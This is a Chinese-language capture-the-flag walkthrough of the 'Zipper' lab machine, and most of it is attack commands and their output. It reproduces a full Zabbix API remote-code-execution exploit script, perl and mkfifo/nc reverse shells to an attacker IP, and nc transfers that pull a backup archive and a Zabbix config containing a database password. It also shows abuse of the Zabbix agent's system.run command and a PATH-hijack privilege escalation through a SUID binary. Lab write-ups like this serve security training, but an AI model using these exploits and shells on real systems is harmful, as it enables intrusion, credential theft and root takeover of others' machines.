Zipper

1
2
3
4
5
ip a

10.129.1.198

TARGET="10.129.1.198"

01.信息搜集

靶机发现

目标靶机 ip 为 10.129.1.198

1
2
3
4
5
6
7
fscan -h $TARGET > fscan.log

sudo masscan -p1-65535 10.10.10.108 --rate=1000 -e utun4 > ports

22,80

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

02.渗透打点

端口扫描

1
2
3
4
5
6
7
8
9
10
11
sudo nmap -sT -sV -sC -O -p 22,80 $TARGET -oA nmapscan/detail

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
|   256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_  256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)

80 默认页面 感觉子域名没跑了 但没看到域名还(

java 项目也不是很容易爆破子目录..

猜一下

1
2
3
4
5
6
7
8
9
10
11
# 1. 添加 hosts 记录（记得用 sudo）
echo "10.129.1.198 zipper.htb" | sudo tee -a /etc/hosts

# 2. 用 curl 分别测试
curl http://10.129.1.198/          # 默认页面
curl http://zipper.htb/            # 应该是不同的东西

ffuf -w /Users/choco/Project/HackTool/wordlists/SecLists/Discovery/DNS/namelist.txt \
    -H "Host: FUZZ.zipper.htb" -u http://zipper.htb/ -fs 0,10918
    
gobuster dir -u http://zipper.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50

http://10.129.1.198/zabbix/

发现 zabiix 服务

UDP 扫描

1
sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp
1
68/udp    open|filtered dhcpc

zabbix

login as guset 发现 host zipper 和 zabbix:Zapper’s Backup Script

Host: Zipper 这台机器自己的主机名
Zapper’s Backup Script 暴露了一个用户名：zapper

发现 zapper 用户 看看能不能登录

1
GUI access disabled.
1
2
3
4
5
POST /zabbix/index.php HTTP/1.1
Host: 10.129.1.198
Cookie: PHPSESSID=auhm7k5qs61seaa5mfqtsve1au; zbx_sessionid=c36535f654b7825de7fb748fdcf9986d

name=zapper&password=zapper&autologin=1&enter=Sign+in

Zabbix 除了 Web GUI，还提供了 JSON-RPC API 找一下 api 接口
https://www.zabbix.com/documentation/3.0/en/manual/api

1
2
3
4
POST http://company.com/zabbix/api_jsonrpc.php HTTP/1.1
Content-Type: application/json-rpc

{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"auth":null,"params":{}}

发送

1
2
3
4
curl -s -X POST \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","method":"user.login","params":{"user":"zapper","password":"zapper"},"id":1,"auth":null}' \
  http://10.129.1.198/zabbix/api_jsonrpc.php

拿到

1
{"jsonrpc":"2.0","result":"2b5b9618d746e5692bebdd1b5c0da178","id":1}%
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
TOKEN="2b5b9618d746e5692bebdd1b5c0da178"
URL="http://10.129.1.198/zabbix/api_jsonrpc.php"

# 1. 主机列表
curl -s -X POST -H 'Content-Type: application/json' \
  -d "{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"$TOKEN\",\"id\":1}" $URL
{
	"jsonrpc": "2.0",
	"result": [{
		"hostid": "10105",
		"proxy_hostid": "0",
		"host": "Zabbix",
		"status": "0",
		"disable_until": "0",
		"error": "",
		"available": "0",
		"errors_from": "0",
		"lastaccess": "0",
		"ipmi_authtype": "-1",
		"ipmi_privilege": "2",
		"ipmi_username": "",
		"ipmi_password": "",
		"ipmi_disable_until": "0",
		"ipmi_available": "0",
		"snmp_disable_until": "0",
		"snmp_available": "0",
		"maintenanceid": "0",
		"maintenance_status": "0",
		"maintenance_type": "0",
		"maintenance_from": "0",
		"ipmi_errors_from": "0",
		"snmp_errors_from": "0",
		"ipmi_error": "",
		"snmp_error": "",
		"jmx_disable_until": "0",
		"jmx_available": "0",
		"jmx_errors_from": "0",
		"jmx_error": "",
		"name": "Zabbix",
		"flags": "0",
		"templateid": "0",
		"description": "This host - Zabbix Server",
		"tls_connect": "1",
		"tls_accept": "1",
		"tls_issuer": "",
		"tls_subject": "",
		"tls_psk_identity": "",
		"tls_psk": ""
	}, {
		"hostid": "10106",
		"proxy_hostid": "0",
		"host": "Zipper",
		"status": "0",
		"disable_until": "0",
		"error": "",
		"available": "1",
		"errors_from": "0",
		"lastaccess": "0",
		"ipmi_authtype": "-1",
		"ipmi_privilege": "2",
		"ipmi_username": "",
		"ipmi_password": "",
		"ipmi_disable_until": "0",
		"ipmi_available": "0",
		"snmp_disable_until": "0",
		"snmp_available": "0",
		"maintenanceid": "0",
		"maintenance_status": "0",
		"maintenance_type": "0",
		"maintenance_from": "0",
		"ipmi_errors_from": "0",
		"snmp_errors_from": "0",
		"ipmi_error": "",
		"snmp_error": "",
		"jmx_disable_until": "0",
		"jmx_available": "0",
		"jmx_errors_from": "0",
		"jmx_error": "",
		"name": "Zipper",
		"flags": "0",
		"templateid": "0",
		"description": "Zipper",
		"tls_connect": "1",
		"tls_accept": "1",
		"tls_issuer": "",
		"tls_subject": "",
		"tls_psk_identity": "",
		"tls_psk": ""
	}],
	"id": 1
}



# 2. 可用脚本
curl -s -X POST -H 'Content-Type: application/json' \
  -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"$TOKEN\",\"id\":1}" $URL
{
	"jsonrpc": "2.0",
	"result": [{
		"scriptid": "1",
		"name": "Ping",
		"command": "\/bin\/ping -c 3 {HOST.CONN} 2>&1",
		"host_access": "2",
		"usrgrpid": "0",
		"groupid": "0",
		"description": "",
		"confirmation": "",
		"type": "0",
		"execute_on": "1"
	}, {
		"scriptid": "2",
		"name": "Traceroute",
		"command": "\/usr\/bin\/traceroute {HOST.CONN} 2>&1",
		"host_access": "2",
		"usrgrpid": "0",
		"groupid": "0",
		"description": "",
		"confirmation": "",
		"type": "0",
		"execute_on": "1"
	}, {
		"scriptid": "3",
		"name": "Detect operating system",
		"command": "sudo \/usr\/bin\/nmap -O {HOST.CONN} 2>&1",
		"host_access": "2",
		"usrgrpid": "7",
		"groupid": "0",
		"description": "",
		"confirmation": "",
		"type": "0",
		"execute_on": "1"
	}],
	"id": 1
}
主机 hostid 状态
Zabbix 10105 Zabbix Server 自身
Zipper 10106 目标机器，available: 1 ✅
脚本 scriptid 命令
Ping 1 /bin/ping -c 3 {HOST.CONN}
Traceroute 2 /usr/bin/traceroute {HOST.CONN}
Detect OS 3 sudo /usr/bin/nmap -O {HOST.CONN}

detect os 可以 root
scriptid=1 我们有修改权限（host_access: 2 表示读写）
Zabbix API 提供了两个方法：script.update（改脚本命令）和 script.execute（在指定主机上执行）。

https://www.zabbix.com/documentation/3.0/en/manual/api/reference/script/update

script update 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    "jsonrpc": "2.0",
    "method": "script.update",
    "params": {
        "scriptid": "1",
        "command": "/bin/ping -c 10 {HOST.CONN} 2>&1"
    },
    "auth": "038e1d7b1735c6a5436ee9eae095879e",
    "id": 1
}


curl -s -X POST -H 'Content-Type: application/json' \
  -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.get\",\"params\":{\"scriptid\":\"1\",\"command\":\"/bin/ping -c 3 10.10.17.112>&1\"},\"auth\":\"$TOKEN\",\"id\":1}" $URL
1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
echo "http://10.129.1.198/zabbix" > ./scans/live-urls.txt


nuclei -disable-update-check \
  -l ./scans/live-urls.txt \
  -t /Users/choco/Project/HackTool/templates/nuclei-templates/ \
  -t /Users/choco/Project/HackTool/templates/community/ \
  -tags zabbix \
  -severity critical,high,medium \
  -o ./scans/nuclei-tech-results.txt \
  -jsonl -j ./scans/nuclei-results.jsonl
  

grep -oE 'CVE-\d{4}-\d+' ./scans/nuclei-results.txt | sort -u > ./scans/hit-cves.txt
CVE-2024-42327


sql注入的不行

searchsploit zabbix api
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                     |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Zabbix 1.8.1 - SQL Injection                                                                                                                                                       | php/webapps/12435.txt
Zabbix 2.2 < 3.0.3 - API JSON-RPC Remote Code Execution                                                                                                                            | php/webapps/39937.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


# shell
searchsploit zabbix api -m 39937



#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A

import requests
import json
import readline

ZABIX_ROOT = 'http://10.129.1.198'	### Zabbix IP-address
url = ZABIX_ROOT + '/zabbix/api_jsonrpc.php'	### Don't edit

login = 'zapper'		### Zabbix login
password = 'zapper'	### Zabbix password
hostid = '10105'	### Zabbix hostid

### auth
payload = {
   	"jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
    	'user': ""+login+"",
    	'password': ""+password+"",
    },
   	"auth" : None,
    "id" : 0,
}
headers = {
    'content-type': 'application/json',
}

auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

while True:
	cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
	if cmd == "" : print("Result of last command:")
	if cmd == "quit" : break

### update
	payload = {
		"jsonrpc": "2.0",
		"method": "script.update",
		"params": {
		    "scriptid": "1",
		    "command": ""+cmd+""
		},
		"auth" : auth['result'],
		"id" : 0,
	}

	cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

### execute
	payload = {
		"jsonrpc": "2.0",
		"method": "script.execute",
		"params": {
		    "scriptid": "1",
		    "hostid": ""+hostid+""
		},
		"auth" : auth['result'],
		"id" : 0,
	}

	cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
	cmd_exe = cmd_exe.json()
	print(cmd_exe["result"]["value"])

直接拿到了 shell (python2->python3)

zabbix_cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[zabbix_cmd]>>:  whoami
zabbix

[zabbix_cmd]>>:  cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
zabbix:x:103:104::/var/lib/zabbix/:/usr/sbin/nologin

[zabbix_cmd]>>:  hostname
29cbc3a4b92e

[zabbix_cmd]>>:  cat /etc/hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.17.0.2	29cbc3a4b92e

[zabbix_cmd]>>:  which nc || which bash || which python || which python3 || which perl
/bin/nc

现在应该是在一个容器里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[zabbix_cmd]>>:  ls -liah
total 84K
135324 drwxr-xr-x   1 root root 4.0K Jul 18 00:52 .
135324 drwxr-xr-x   1 root root 4.0K Jul 18 00:52 ..
135334 -rwxr-xr-x   1 root root    0 Jul 18 00:52 .dockerenv
 15417 drwxrwxrwx   2 1000 1000 4.0K Jul 18 03:07 backups
...

-- 10.10.17.11 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 307.215/452.466/540.283/103.454 ms

[zabbix_cmd]>>:
Result of last command:
PING 10.10.17.11 (10.10.17.11) 56(84) bytes of data.
64 bytes from 10.10.17.11: icmp_seq=1 ttl=62 time=590 ms
64 bytes from 10.10.17.11: icmp_seq=2 ttl=62 time=558 ms
64 bytes from 10.10.17.11: icmp_seq=3 ttl=62 time=739 ms

--- 10.10.17.11 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 558.769/629.475/739.044/78.562 ms

perl -e 'use Socket;$i="10.10.17.11";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'



有 shell 了

1
/backups/zapper_backup-2026-07-18.7z
1
2
3
4
5
# 攻击机
nc -lvnp 9999 > zapper_backup.7z

# 容器 shell
nc 10.10.17.11 9999 < /backups/zapper_backup-2026-07-18.7z
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
7z x zapper_backup.7z

7-Zip [64] 17.05 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.05 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,18 CPUs LE)

Scanning the drive for archives:
1 file, 3004 bytes (3 KiB)

Extracting archive: zapper_backup.7z
--
Path = zapper_backup.7z
Type = 7z
Physical Size = 3004
Headers Size = 236
Method = LZMA2:13 BCJ 7zAES
Solid = -
Blocks = 2


Enter password (will not be echoed):
ERROR: Data Error in encrypted file. Wrong password? : backup.sh
ERROR: Data Error in encrypted file. Wrong password? : zabbix-service

Sub items Errors: 2

Archives with Errors: 1

Sub items Errors: 2

有密码

回去看看 zibbix 的配置

1
2
3
4
5
6
7
8
9
10
/etc/zabbix/

# 攻击机
nc -lv 9999 > zabbix_server.conf

# 容器 shell
nc 10.10.17.11 9999 < /etc/zabbix/zabbix_server.conf

DBUser=zabbix
DBPassword=f.YMeMd$pTbpY3-449

也进不去 sql 看看能不能连回宿主机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ports="22 80 443 3306 5432 6379 8080 8443 9000 10050 10051"
for p in $ports; do
  printf "checking %s... " $p
  timeout 0.1 bash -c "echo >/dev/tcp/172.17.0.1/$p" 2>/dev/null && echo "OPEN" || echo "closed"
done

checking 80... OPEN
checking 443... closed
checking 3306... closed
checking 5432... closed
checking 6379... closed
checking 8080... closed
checking 8443... closed
checking 9000... closed
checking 10050... OPEN
checking 10051... closed

https://www.zabbix.com/documentation/current/en/manual/config/items/itemtypes/zabbix_agent#system.run

可以反向执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ echo system.run[ ls -liah ] | nc 172.17.0.1 10050
ZBXD(total 2.1M
     2 drwxr-xr-x  22 root   root   4.0K Sep 26  2022 .
     2 drwxr-xr-x  22 root   root   4.0K Sep 26  2022 ..
 15417 drwxrwxrwx   2 zapper zapper 4.0K Jul 18 03:34 backups
   757 -rw-------   1 root   root     38 Sep 26  2022 .bash_history
  6876 drwxr-xr-x   2 root   root   4.0K Sep 26  2022 bin
 21663 drwxr-xr-x   3 root   root   4.0K Sep 26  2022 boot
    32 -rw-------   1 root   root   2.7M Sep 26  2022 core
     2 drwxr-xr-x  17 root   root   3.7K Jul 18 00:52 dev
    21 drwxr-xr-x  82 root   root   4.0K Sep 26  2022 etc
131073 drwxr-xr-x   3 root   root   4.0K Sep  8  2018 home
    16 lrwxrwxrwx   1 root   root     33 Sep  8  2018 initrd.img -> boot/initrd.img-4.15.0-33-generic
    14 lrwxrwxrwx   1 root   root     33 Sep  8  2018 initrd.img.old -> boot/initrd.img-4.15.0-33-generic
 21664 drwxr-xr-x  19 root   root   4.0K Sep 26  2022 lib
    11 drwx------   2 root   root    16K Sep  8  2018 lost+found
 28753 drwxr-xr-x   2 root   root   4.0K Sep 26  2022 media
131075 drwxr-xr-x   2 root   root   4.0K Sep  8  2018 mnt
131076 drwxr-xr-x   2 root   root   4.0K Sep  8  2018 opt
     1 dr-xr-xr-x 196 root   root      0 Jul 18 00:51 proc
 28754 drwx------   5 root   root   4.0K Jul 18 00:52 root
     2 drwxr-xr-x  21 root   root    680 Jul 18 00:52 run
 48919 drwxr-xr-x   2 root   root   4.0K Sep 26  2022 sbin
 48986 drwxr-xr-x   2 root   root   4.0K Sep 26  2022 srv
     1 dr-xr-xr-x  13 root   root      0 Jul 18 03:23 sys
 72431 drwxrwxrwt  11 root   root   4.0K Jul 18 03:59 tmp
 28755 drwxr-xr-x  10 root   root   4.0K Sep 26  2022 usr
 60219 drwxr-xr-x  11 root   root   4.0K Sep 26  2022 var
    15 lrwxrwxrwx   1 root   root     30 Sep  8  2018 vmlinuz -> boot/vmlinuz-4.15.0-33-generic
    13 lrwxrwxrwx   1 root   root     30 Sep  8  2018 vmlinuz.old -> boot/vmlinuz-4.15.0-33-generic

创建反向 shell

mac终端 1（喂命令的 listener）：

1
printf "perl /backups/shell.pl\n" | nc -lvnp 8443

mac终端 2（接 shell 的 listener）：

1
nc -lvnp 8444

然后在容器里创建 perl 反弹脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
cat > /backups/shell.pl << 'EOF'
use Socket;
$i = "10.10.17.11";
$p = 8444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
    open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");
};
EOF
chmod +x /backups/shell.pl

最后通过 Agent 触发，让宿主机的 nc 连到你的 8443 来取命令：

1
echo "system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.11 8443 >/tmp/f &]" | nc -w 3 172.17.0.1 10050

思路是：容器写 perl 脚本 → Agent 在宿主机执行 → 宿主机连你的 8443 拿到命令 → 执行 perl 反弹 → shell 弹到 8444

进入宿主机 但是权限非常低

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
find / -perm -u=s -type f 2>/dev/null
/home/zapper/utils/zabbix-service
/bin/ntfs-3g
/bin/umount
/bin/fusermount
/bin/ping
/bin/su
/bin/mount

file /home/zapper/utils/zabbix-service
/home/zapper/utils/zabbix-service: setuid, setgid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=70745588e3c50ad90b7074ea8f9bf16f5a12e004, not stripped

$ strings /home/zapper/utils/zabbix-service
tdx	
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setuid
puts
stdin
printf
fgets
strcspn
system
__cxa_finalize
setgid
strcmp
__libc_start_main
__stack_chk_fail
GLIBC_2.1.3
GLIBC_2.4
GLIBC_2.0
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Y[^]
UWVS
[^_]
start or stop?:
start
systemctl daemon-reload && systemctl start zabbix-agent
stop
systemctl stop zabbix-agent
[!] ERROR: Unrecognized Option
;*2$"
GCC: (Ubuntu 7.3.0-16ubuntu3) 7.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7281
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
zabbix-service.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
strcmp@@GLIBC_2.0
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
printf@@GLIBC_2.0
strcspn@@GLIBC_2.0
fgets@@GLIBC_2.0
_edata
__stack_chk_fail@@GLIBC_2.4
__x86.get_pc_thunk.dx
__cxa_finalize@@GLIBC_2.1.3
__data_start
setgid@@GLIBC_2.0
puts@@GLIBC_2.0
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
stdin@@GLIBC_2.0
_fp_hw
__bss_start
main
setuid@@GLIBC_2.0
__stack_chk_fail_local
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

# 执行看看
$ /home/zapper/utils/zabbix-service
start or stop?: [!] ERROR: Unrecognized Option

# 反向找一下这里的逻辑
start or stop?:
start
systemctl daemon-reload && systemctl start zabbix-agent
stop
systemctl stop zabbix-agent
[!] ERROR: Unrecognized Option

这里 systemctl 就是提权点了

systemctl 没用绝对路径 /usr/bin/systemctl。SUID 二进制会从 $PATH 找 systemctl——只要在 PATH 前面塞一个假的 systemctl，它就是 root 身份执行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. 创建恶意 systemctl
cat > /tmp/systemctl << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod 4755 /tmp/rootshell
EOF

chmod +x /tmp/systemctl

# 2. PATH 投毒
export PATH=/tmp:$PATH

# 3. 触发
/home/zapper/utils/zabbix-service
start

# 4. 获取root
/tmp/rootshell -p